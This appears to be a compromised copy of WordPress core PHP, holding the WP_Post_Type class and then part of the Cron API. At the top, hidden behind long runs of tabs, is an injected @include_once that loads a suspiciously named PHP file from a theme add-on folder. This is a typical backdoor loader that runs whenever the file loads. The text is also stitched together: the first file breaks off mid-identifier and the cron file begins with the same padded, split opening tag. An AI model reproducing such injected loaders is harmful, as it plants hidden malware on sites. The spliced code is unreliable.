<?																																										@include_once('D:/wwwrootwp/www.zhoushanhualing.com/wp-content/themes/accalia/trx_addons/components/api/the-events-calendar/snatch.recrypt.item.php');
																																										
php																																										

/**
 * Post API: WP_Post_Type class
 *
 * @package WordPress
 * @subpackage Post
 * @since 4.6.0
 */

/**
 * Core class used for interacting with post types.
 *
 * @since 4.6.0
 *
 * @see register_post_type()
 */
final class WP_Post_Type {
	/**
	 * Post type key.
	 *
	 * @since 4.6.0
	 * @var string $name
	 */
	public $name;

	/**
	 * Name of the post type shown in the menu. Usually plural.
	 *
	 * @since 4.6.0
	 * @var string $label
	 */
	public $label;

	/**
	 * Labels object for this post type.
	 *
	 * If not set, post labels are inherited for non-hierarchical types
	 * and page labels for hierarchical ones.
	 *
	 * @see get_post_type_labels()
	 *
	 * @since 4.6.0
	 * @var stdClass $labels
	 */
	public $labels;

	/**
	 * A short descriptive summary of what the post type is.
	 *
	 * Default empty.
	 *
	 * @since 4.6.0
	 * @var string $description
	 */
	public $description = '';

	/**
	 * Whether a post type is intended for use publicly either via the admin interface or by front-end users.
	 *
	 * While the default settings of $exclude_from_search, $publicly_queryable, $show_ui, and $show_in_nav_menus
	 * are inherited from public, each does not rely on this relationship and controls a very specific intention.
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $public
	 */
	public $public = false;

	/**
	 * Whether the post type is hierarchical (e.g. page).
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $hierarchical
	 */
	public $hierarchical = false;

	/**
	 * Whether to exclude posts with this post type from front end search
	 * results.
	 *
	 * Default is the opposite value of $public.
	 *
	 * @since 4.6.0
	 * @var bool $exclude_from_search
	 */
	public $exclude_from_search = null;

	/**
	 * Whether queries can be performed on the front end for the post type as part of `parse_request()`.
	 *
	 * Endpoints would include:
	 * - `?post_type={post_type_key}`
	 * - `?{post_type_key}={single_post_slug}`
	 * - `?{post_type_query_var}={single_post_slug}`
	 *
	 * Default is the value of $public.
	 *
	 * @since 4.6.0
	 * @var bool $publicly_queryable
	 */
	public $publicly_queryable = null;

	/**
	 * Whether to generate and allow a UI for managing this post type in the admin.
	 *
	 * Default is the value of $public.
	 *
	 * @since 4.6.0
	 * @var bool $show_ui
	 */
	public $show_ui = null;

	/**
	 * Where to show the post type in the admin menu.
	 *
	 * To work, $show_ui must be true. If true, the post type is shown in its own top level menu. If false, no menu is
	 * shown. If a string of an existing top level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post type
	 * will be placed as a sub-menu of that.
	 *
	 * Default is the value of $show_ui.
	 *
	 * @since 4.6.0
	 * @var bool|string $show_in_menu
	 */
	public $show_in_menu = null;

	/**
	 * Makes this post type available for selection in navigation menus.
	 *
	 * Default is the value $public.
	 *
	 * @since 4.6.0
	 * @var bool $show_in_nav_menus
	 */
	public $show_in_nav_menus = null;

	/**
	 * Makes this post type available via the admin bar.
	 *
	 * Default is the value of $show_in_menu.
	 *
	 * @since 4.6.0
	 * @var bool $show_in_admin_bar
	 */
	public $show_in_admin_bar = null;

	/**
	 * The position in the menu order the post type should appear.
	 *
	 * To work, $show_in_menu must be true. Default null (at the bottom).
	 *
	 * @since 4.6.0
	 * @var int $menu_position
	 */
	public $menu_position = null;

	/**
	 * The URL or reference to the icon to be used for this menu.
	 *
	 * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme.
	 * This should begin with 'data:image/svg+xml;base64,'. Pass the name of a Dashicons helper class
	 * to use a font icon, e.g. 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
	 * so an icon can be added via CSS.
	 *
	 * Defaults to use the posts icon.
	 *
	 * @since 4.6.0
	 * @var string $menu_icon
	 */
	public $menu_icon = null;

	/**
	 * The string to use to build the read, edit, and delete capabilities.
	 *
	 * May be passed as an array to allow for alternative plurals when using
	 * this argument as a base to construct the capabilities, e.g.
	 * array( 'story', 'stories' ). Default 'post'.
	 *
	 * @since 4.6.0
	 * @var string $capability_type
	 */
	public $capability_type = 'post';

	/**
	 * Whether to use the internal default meta capability handling.
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $map_meta_cap
	 */
	public $map_meta_cap = false;

	/**
	 * Provide a callback function that sets up the meta boxes for the edit form.
	 *
	 * Do `remove_meta_box()` and `add_meta_box()` calls in the callback. Default null.
	 *
	 * @since 4.6.0
	 * @var callable $register_meta_box_cb
	 */
	public $register_meta_box_cb = null;

	/**
	 * An array of taxonomy identifiers that will be registered for the post type.
	 *
	 * Taxonomies can be registered later with `register_taxonomy()` or `register_taxonomy_for_object_type()`.
	 *
	 * Default empty array.
	 *
	 * @since 4.6.0
	 * @var array $taxonomies
	 */
	public $taxonomies = array();

	/**
	 * Whether there should be post type archives, or if a string, the archive slug to use.
	 *
	 * Will generate the proper rewrite rules if $rewrite is enabled. Default false.
	 *
	 * @since 4.6.0
	 * @var bool|string $has_archive
	 */
	public $has_archive = false;

	/**
	 * Sets the query_var key for this post type.
	 *
	 * Defaults to $post_type key. If false, a post type cannot be loaded at `?{query_var}={post_slug}`.
	 * If specified as a string, the query `?{query_var_string}={post_slug}` will be valid.
	 *
	 * @since 4.6.0
	 * @var string|bool $query_var
	 */
	public $query_var;

	/**
	 * Whether to allow this post type to be exported.
	 *
	 * Default true.
	 *
	 * @since 4.6.0
	 * @var bool $can_export
	 */
	public $can_export = true;

	/**
	 * Whether to delete posts of this type when deleting a user.
	 *
	 * - If true, posts of this type belonging to the user will be moved to Trash when the user is deleted.
	 * - If false, posts of this type belonging to the user will *not* be trashed or deleted.
	 * - If not set (the default), posts are trashed if post type supports the 'author' feature.
	 *   Otherwise posts are not trashed or deleted.
	 *
	 * Default null.
	 *
	 * @since 4.6.0
	 * @var bool $delete_with_user
	 */
	public $delete_with_user = null;

	/**
	 * Array of blocks to use as the default initial state for an editor session.
	 *
	 * Each item should be an array containing block name and optional attributes.
	 *
	 * Default empty array.
	 *
	 * @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/
	 *
	 * @since 5.0.0
	 * @var array $template
	 */
	public $template = array();

	/**
	 * Whether the block template should be locked if $template is set.
	 *
	 * - If set to 'all', the user is unable to insert new blocks, move existing blocks
	 *   and delete blocks.
	 * - If set to 'insert', the user is able to move existing blocks but is unable to insert
	 *   new blocks and delete blocks.
	 *
	 * Default false.
	 *
	 * @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/
	 *
	 * @since 5.0.0
	 * @var string|false $template_lock
	 */
	public $template_lock = false;

	/**
	 * Whether this post type is a native or "built-in" post_type.
	 *
	 * Default false.
	 *
	 * @since 4.6.0
	 * @var bool $_builtin
	 */
	public $_builtin = false;

	/**
	 * URL segment to use for edit link of this post type.
	 *
	 * Default 'post.php?post=%d'.
	 *
	 * @since 4.6.0
	 * @var string $_edit_link
	 */
	public $_edit_link = 'post.php?post=%d';

	/**
	 * Post type capabilities.
	 *
	 * @since 4.6.0
	 * @var stdClass $cap
	 */
	public $cap;

	/**
	 * Triggers the handling of rewrites for this post type.
	 *
	 * Defaults to true, using $post_type as slug.
	 *
	 * @since 4.6.0
	 * @var array|false $rewrite
	 */
	public $rewrite;

	/**
	 * The features supported by the post type.
	 *
	 * @since 4.6.0
	 * @var array|bool $supports
	 */
	public $supports;

	/**
	 * Whether this post type should appear in the REST API.
	 *
	 * Default false. If true, standard endpoints will be registered with
	 * respect to $rest_base and $rest_controller_class.
	 *
	 * @since 4.7.4
	 * @var bool $show_in_rest
	 */
	public $show_in_rest;

	/**
	 * The base path for this post type's REST API endpoints.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_base
	 */
	public $rest_base;

	/**
	 * The controller for this post type's REST API endpoints.
	 *
	 * Custom controllers must extend WP_REST_Controller.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_controller_class
	 */
	public $rest_controller_class;

	/**
	 * The controller instance for this post type's REST API endpoints.
	 *
	 * Lazily computed. Should be accessed using {@see WP_Post_Type::get_rest_controller()}.
	 *
	 * @since 5.3.0
	 * @var WP_REST_Controller $rest_controller
	 */
	public $rest_controller;

	/**
	 * Constructor.
	 *
	 * See the register_post_type() function for accepted arguments for `$args`.
	 *
	 * Will populate object properties from the provided arguments and assign other
	 * default properties based on that information.
	 *
	 * @since 4.6.0
	 *
	 * @see register_post_type()
	 *
	 * @param string       $post_type Post type key.
	 * @param array|string $args      Optional. Array or string of arguments for registering a post type.
	 *                                Default empty array.
	 */
	public function __construct( $post_type, $args = array() ) {
		$this->name = $post_type;

		$this->set_props( $args );
	}

	/**
	 * Sets post type properties.
	 *
	 * See the register_post_type() function for accepted arguments for `$args`.
	 *
	 * @since 4.6.0
	 *
	 * @param array|string $args Array or string of arguments for registering a post type.
	 */
	public function set_props( $args ) {
		$args = wp_parse_args( $args );

		/**
		 * Filters the arguments for registering a post type.
		 *
		 * @since 4.4.0
		 *
		 * @param array  $args      Array of arguments for registering a post type.
		 *                          See the register_post_type() function for accepted arguments.
		 * @param string $post_type Post type key.
		 */
		$args = apply_filters( 'register_post_type_args', $args, $this->name );

		$has_edit_link = ! empty( $args['_edit_link'] );

		// Args prefixed with an underscore are reserved for internal use.
		$defaults = array(
			'labels'                => array(),
			'description'           => '',
			'public'                => false,
			'hierarchical'          => false,
			'exclude_from_search'   => null,
			'publicly_queryable'    => null,
			'show_ui'               => null,
			'show_in_menu'          => null,
			'show_in_nav_menus'     => null,
			'show_in_admin_bar'     => null,
			'menu_position'         => null,
			'menu_icon'             => null,
			'capability_type'       => 'post',
			'capabilities'          => array(),
			'map_meta_cap'          => null,
			'supports'              => array(),
			'register_meta_box_cb'  => null,
			'taxonomies'            => array(),
			'has_archive'           => false,
			'rewrite'               => true,
			'query_var'             => true,
			'can_export'            => true,
			'delete_with_user'      => null,
			'show_in_rest'          => false,
			'rest_base'             => false,
			'rest_controller_class' => false,
			'template'              => array(),
			'template_lock'         => false,
			'_builtin'              => false,
			'_edit_link'            => 'post.php?post=%d',
		);

		$args = array_merge( $defaults, $args );

		$args['name'] = $this->name;

		// If not set, default to the setting for 'public'.
		if ( null === $args['publicly_queryable'] ) {
			$args['publicly_queryable'] = $args['public'];
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_ui'] ) {
			$args['show_ui'] = $args['public'];
		}

		// If not set, default to the setting for 'show_ui'.
		if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
			$args['show_in_menu'] = $args['show_ui'];
		}

		// If not set, default to the setting for 'show_in_menu'.
		if ( null === $args['show_in_admin_bar'] ) {
			$args['show_in_admin_bar'] = (bool) $args['show_in_menu'];
		}

		// If not set, default to the setting for 'public'.
		if ( null === $args['show_in_nav_menus'] ) {
			$args['show_in_nav_menus'] = $args['public'];
		}

		// If not set, default to true if not public, false if public.
		if ( null === $args['exclude_from_search'] ) {
			$args['exclude_from_search'] = ! $args['public'];
		}

		// Back compat with quirky handling in version 3.0. #14122.
		if ( empty( $args['capabilities'] )
			&& null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ), true )
		) {
			$args['map_meta_cap'] = true;
		}

		// If not set, default to false.
		if ( null === $args['map_meta_cap'] ) {
			$args['map_meta_cap'] = false;
		}

		// If there's no specified edit link and no UI, remove the edit link.
		if ( ! $args['show_ui'] && ! $has_edit_link ) {
			$args['_edit_link'] = '';
		}

		$this->cap = get_post_type_capabilities( (object) $args );
		unset( $args['capabilities'] );

		if ( is_array( $args['capability_type'] ) ) {
			$args['capability_type'] = $args['capability_type'][0];
		}

		if ( false !== $args['query_var'] ) {
			if ( true === $args['query_var'] ) {
				$args['query_var'] = $this->name;
			} else {
				$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
			}
		}

		if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			if ( ! is_array( $args['rewrite'] ) ) {
				$args['rewrite'] = array();
			}
			if ( empty( $args['rewrite']['slug'] ) ) {
				$args['rewrite']['slug'] = $this->name;
			}
			if ( ! isset( $args['rewrite']['with_front'] ) ) {
				$args['rewrite']['with_front'] = true;
			}
			if ( ! isset( $args['rewrite']['pages'] ) ) {
				$args['rewrite']['pages'] = true;
			}
			if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) {
				$args['rewrite']['feeds'] = (bool) $args['has_archive'];
			}
			if ( ! isset( $args['rewrite']['ep_mask'] ) ) {
				if ( isset( $args['permalink_epmask'] ) ) {
					$args['rewrite']['ep_mask'] = $args['permalink_epmask'];
				} else {
					$args['rewrite']['ep_mask'] = EP_PERMALINK;
				}
			}
		}

		foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}

		$this->labels = get_post_type_labels( $this );
		$this->label  = $this->labels->name;
	}

	/**
	 * Sets the features support for the post type.
	 *
	 * @since 4.6.0
	 */
	public function add_supports() {
		if ( ! empty( $this->supports ) ) {
			foreach ( $this->supports as $feature => $args ) {
				if ( is_array( $args ) ) {
					add_post_type_support( $this->name, $feature, $args );
				} else {
					add_post_type_support( $this->name, $args );
				}
			}
			unset( $this->supports );
		} elseif ( false !== $this->supports ) {
			// Add default features.
			add_post_type_support( $this->name, array( 'title', 'editor' ) );
		}
	}

	/**
	 * Adds the necessary rewrite rules for the post type.
	 *
	 * @since 4.6.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 * @global WP         $wp         Current WordPress environment instance.
	 */
	public function add_rewrite_rules() {
		global $wp_rewrite, $wp;

		if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) {
			$wp->add_query_var( $this->query_var );
		}

		if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
			if ( $this->hierarchical ) {
				add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" );
			} else {
				add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" );
			}

			if ( $this->has_archive ) {
				$archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive;
				if ( $this->rewrite['with_front'] ) {
					$archive_slug = substr( $wp_rewri<?																																										

php

/**
 * WordPress Cron API
 *
 * @package WordPress
 */

/**
 * Schedules an event to run only once.
 *
 * Schedules a hook which will be triggered by WordPress at the specified time.
 * The action will trigger when someone visits your WordPress site if the scheduled
 * time has passed.
 *
 * Note that scheduling an event to occur within 10 minutes of an existing event
 * with the same action hook will be ignored unless you pass unique `$args` values
 * for each scheduled event.
 *
 * Use wp_next_scheduled() to prevent duplicate events.
 *
 * Use wp_schedule_event() to schedule a recurring event.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_schedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @link https://developer.wordpress.org/reference/functions/wp_schedule_single_event/
 *
 * @param int    $timestamp  Unix timestamp (UTC) for when to next run the event.
 * @param string $hook       Action hook to execute when the event is run.
 * @param array  $args       Optional. Array containing arguments to pass to the
 *                           hook's callback function. Each value in the array
 *                           is passed to the callback as an individual parameter.
 *                           The array keys are ignored. Default empty array.
 * @param bool   $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
 */
function wp_schedule_single_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => false,
		'args'      => $args,
	);

	/**
	 * Filter to preflight or hijack scheduling an event.
	 *
	 * Returning a non-null value will short-circuit adding the event to the
	 * cron array, causing the function to return the filtered value instead.
	 *
	 * Both single events and recurring events are passed through this filter;
	 * single events have `$event->schedule` as false, whereas recurring events
	 * have this set to a recurrence from wp_get_schedules(). Recurring
	 * events also have the integer recurrence interval set as `$event->interval`.
	 *
	 * For plugins replacing wp-cron, it is recommended you check for an
	 * identical event within ten minutes and apply the {@see 'schedule_event'}
	 * filter to check if another plugin has disallowed the event before scheduling.
	 *
	 * Return true if the event was scheduled, false or a WP_Error if not.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|bool|WP_Error $pre      Value to return instead. Default null to continue adding the event.
	 * @param stdClass           $event    {
	 *     An object containing an event's data.
	 *
	 *     @type string       $hook      Action hook to execute when the event is run.
	 *     @type int          $timestamp Unix timestamp (UTC) for when to next run the event.
	 *     @type string|false $schedule  How often the event should subsequently recur.
	 *     @type array        $args      Array containing each separate argument to pass to the hook's callback function.
	 *     @type int          $interval  The interval time in seconds for the schedule. Only present for recurring events.
	 * }
	 * @param bool               $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_schedule_event_false',
				__( 'A plugin prevented the event from being scheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	/*
	 * Check for a duplicated event.
	 *
	 * Don't schedule an event if there's already an identical event
	 * within 10 minutes.
	 *
	 * When scheduling events within ten minutes of the current time,
	 * all past identical events are considered duplicates.
	 *
	 * When scheduling an event with a past timestamp (ie, before the
	 * current time) all events scheduled within the next ten minutes
	 * are considered duplicates.
	 */
	$crons     = (array) _get_cron_array();
	$key       = md5( serialize( $event->args ) );
	$duplicate = false;

	if ( $event->timestamp < time() + 10 * MINUTE_IN_SECONDS ) {
		$min_timestamp = 0;
	} else {
		$min_timestamp = $event->timestamp - 10 * MINUTE_IN_SECONDS;
	}

	if ( $event->timestamp < time() ) {
		$max_timestamp = time() + 10 * MINUTE_IN_SECONDS;
	} else {
		$max_timestamp = $event->timestamp + 10 * MINUTE_IN_SECONDS;
	}

	foreach ( $crons as $event_timestamp => $cron ) {
		if ( $event_timestamp < $min_timestamp ) {
			continue;
		}
		if ( $event_timestamp > $max_timestamp ) {
			break;
		}
		if ( isset( $cron[ $event->hook ][ $key ] ) ) {
			$duplicate = true;
			break;
		}
	}

	if ( $duplicate ) {
		if ( $wp_error ) {
			return new WP_Error(
				'duplicate_event',
				__( 'A duplicate event already exists.' )
			);
		}

		return false;
	}

	/**
	 * Modify an event before it is scheduled.
	 *
	 * @since 3.1.0
	 *
	 * @param stdClass|false $event {
	 *     An object containing an event's data, or boolean false to prevent the event from being scheduled.
	 *
	 *     @type string       $hook      Action hook to execute when the event is run.
	 *     @type int          $timestamp Unix timestamp (UTC) for when to next run the event.
	 *     @type string|false $schedule  How often the event should subsequently recur.
	 *     @type array        $args      Array containing each separate argument to pass to the hook's callback function.
	 *     @type int          $interval  The interval time in seconds for the schedule. Only present for recurring events.
	 * }
	 */
	$event = apply_filters( 'schedule_event', $event );

	// A plugin disallowed this event.
	if ( ! $event ) {
		if ( $wp_error ) {
			return new WP_Error(
				'schedule_event_false',
				__( 'A plugin disallowed this event.' )
			);
		}

		return false;
	}

	$crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
		'schedule' => $event->schedule,
		'args'     => $event->args,
	);
	uksort( $crons, 'strnatcasecmp' );

	return _set_cron_array( $crons, $wp_error );
}

/**
 * Schedules a recurring event.
 *
 * Schedules a hook which will be triggered by WordPress at the specified interval.
 * The action will trigger when someone visits your WordPress site if the scheduled
 * time has passed.
 *
 * Valid values for the recurrence are 'hourly', 'daily', and 'twicedaily'. These can
 * be extended using the {@see 'cron_schedules'} filter in wp_get_schedules().
 *
 * Note that scheduling an event to occur within 10 minutes of an existing event
 * with the same action hook will be ignored unless you pass unique `$args` values
 * for each scheduled event.
 *
 * Use wp_next_scheduled() to prevent duplicate events.
 *
 * Use wp_schedule_single_event() to schedule a non-recurring event.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_schedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @link https://developer.wordpress.org/reference/functions/wp_schedule_event/
 *
 * @param int    $timestamp  Unix timestamp (UTC) for when to next run the event.
 * @param string $recurrence How often the event should subsequently recur.
 *                           See wp_get_schedules() for accepted values.
 * @param string $hook       Action hook to execute when the event is run.
 * @param array  $args       Optional. Array containing arguments to pass to the
 *                           hook's callback function. Each value in the array
 *                           is passed to the callback as an individual parameter.
 *                           The array keys are ignored. Default empty array.
 * @param bool   $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
 */
function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	$schedules = wp_get_schedules();

	if ( ! isset( $schedules[ $recurrence ] ) ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_schedule',
				__( 'Event schedule does not exist.' )
			);
		}

		return false;
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => $recurrence,
		'args'      => $args,
		'interval'  => $schedules[ $recurrence ]['interval'],
	);

	/** This filter is documented in wp-includes/cron.php */
	$pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_schedule_event_false',
				__( 'A plugin prevented the event from being scheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	/** This filter is documented in wp-includes/cron.php */
	$event = apply_filters( 'schedule_event', $event );

	// A plugin disallowed this event.
	if ( ! $event ) {
		if ( $wp_error ) {
			return new WP_Error(
				'schedule_event_false',
				__( 'A plugin disallowed this event.' )
			);
		}

		return false;
	}

	$key = md5( serialize( $event->args ) );

	$crons = _get_cron_array();
	$crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
		'schedule' => $event->schedule,
		'args'     => $event->args,
		'interval' => $event->interval,
	);
	uksort( $crons, 'strnatcasecmp' );

	return _set_cron_array( $crons, $wp_error );
}

/**
 * Reschedules a recurring event.
 *
 * Mainly for internal use, this takes the time stamp of a previously run
 * recurring event and reschedules it for its next run.
 *
 * To change upcoming scheduled events, use wp_schedule_event() to
 * change the recurrence frequency.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_reschedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param int    $timestamp  Unix timestamp (UTC) for when the event was scheduled.
 * @param string $recurrence How often the event should subsequently recur.
 *                           See wp_get_schedules() for accepted values.
 * @param string $hook       Action hook to execute when the event is run.
 * @param array  $args       Optional. Array containing arguments to pass to the
 *                           hook's callback function. Each value in the array
 *                           is passed to the callback as an individual parameter.
 *                           The array keys are ignored. Default empty array.
 * @param bool   $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully rescheduled. False or WP_Error on failure.
 */
function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	$schedules = wp_get_schedules();
	$interval  = 0;

	// First we try to get the interval from the schedule.
	if ( isset( $schedules[ $recurrence ] ) ) {
		$interval = $schedules[ $recurrence ]['interval'];
	}

	// Now we try to get it from the saved interval in case the schedule disappears.
	if ( 0 === $interval ) {
		$scheduled_event = wp_get_scheduled_event( $hook, $args, $timestamp );
		if ( $scheduled_event && isset( $scheduled_event->interval ) ) {
			$interval = $scheduled_event->interval;
		}
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => $recurrence,
		'args'      => $args,
		'interval'  => $interval,
	);

	/**
	 * Filter to preflight or hijack rescheduling of events.
	 *
	 * Returning a non-null value will short-circuit the normal rescheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return true if the event was successfully
	 * rescheduled, false if not.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|bool|WP_Error $pre      Value to return instead. Default null to continue adding the event.
	 * @param stdClass           $event    {
	 *     An object containing an event's data.
	 *
	 *     @type string       $hook      Action hook to execute when the event is run.
	 *     @type int          $timestamp Unix timestamp (UTC) for when to next run the event.
	 *     @type string|false $schedule  How often the event should subsequently recur.
	 *     @type array        $args      Array containing each separate argument to pass to the hook's callback function.
	 *     @type int          $interval  The interval time in seconds for the schedule. Only present for recurring events.
	 * }
	 * @param bool               $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_reschedule_event', null, $event, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_reschedule_event_false',
				__( 'A plugin prevented the event from being rescheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	// Now we assume something is wrong and fail to schedule.
	if ( 0 == $interval ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_schedule',
				__( 'Event schedule does not exist.' )
			);
		}

		return false;
	}

	$now = time();

	if ( $timestamp >= $now ) {
		$timestamp = $now + $interval;
	} else {
		$timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
	}

	return wp_schedule_event( $timestamp, $recurrence, $hook, $args, $wp_error );
}

/**
 * Unschedule a previously scheduled event.
 *
 * The $timestamp and $hook parameters are required so that the event can be
 * identified.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to boolean indicating success or failure,
 *              {@see 'pre_unschedule_event'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param int    $timestamp Unix timestamp (UTC) of the event.
 * @param string $hook      Action hook of the event.
 * @param array  $args      Optional. Array containing each separate argument to pass to the hook's callback function.
 *                          Although not passed to a callback, these arguments are used to uniquely identify the
 *                          event, so they should be the same as those used when originally scheduling the event.
 *                          Default empty array.
 * @param bool   $wp_error  Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if event successfully unscheduled. False or WP_Error on failure.
 */
function wp_unschedule_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
	// Make sure timestamp is a positive integer.
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		if ( $wp_error ) {
			return new WP_Error(
				'invalid_timestamp',
				__( 'Event timestamp must be a valid Unix timestamp.' )
			);
		}

		return false;
	}

	/**
	 * Filter to preflight or hijack unscheduling of events.
	 *
	 * Returning a non-null value will short-circuit the normal unscheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return true if the event was successfully
	 * unscheduled, false if not.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|bool|WP_Error $pre       Value to return instead. Default null to continue unscheduling the event.
	 * @param int                $timestamp Timestamp for when to run the event.
	 * @param string             $hook      Action hook, the execution of which will be unscheduled.
	 * @param array              $args      Arguments to pass to the hook's callback function.
	 * @param bool               $wp_error  Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_unschedule_event', null, $timestamp, $hook, $args, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_unschedule_event_false',
				__( 'A plugin prevented the event from being unscheduled.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	$crons = _get_cron_array();
	$key   = md5( serialize( $args ) );
	unset( $crons[ $timestamp ][ $hook ][ $key ] );
	if ( empty( $crons[ $timestamp ][ $hook ] ) ) {
		unset( $crons[ $timestamp ][ $hook ] );
	}
	if ( empty( $crons[ $timestamp ] ) ) {
		unset( $crons[ $timestamp ] );
	}

	return _set_cron_array( $crons, $wp_error );
}

/**
 * Unschedules all events attached to the hook with the specified arguments.
 *
 * Warning: This function may return Boolean FALSE, but may also return a non-Boolean
 * value which evaluates to FALSE. For information about casting to booleans see the
 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
 * the `===` operator for testing the return value of this function.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to indicate success or failure,
 *              {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param string $hook     Action hook, the execution of which will be unscheduled.
 * @param array  $args     Optional. Array containing each separate argument to pass to the hook's callback function.
 *                         Although not passed to a callback, these arguments are used to uniquely identify the
 *                         event, so they should be the same as those used when originally scheduling the event.
 *                         Default empty array.
 * @param bool   $wp_error Optional. Whether to return a WP_Error on failure. Default false.
 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
 *                            events were registered with the hook and arguments combination), false or WP_Error
 *                            if unscheduling one or more events fail.
 */
function wp_clear_scheduled_hook( $hook, $args = array(), $wp_error = false ) {
	// Backward compatibility.
	// Previously, this function took the arguments as discrete vars rather than an array like the rest of the API.
	if ( ! is_array( $args ) ) {
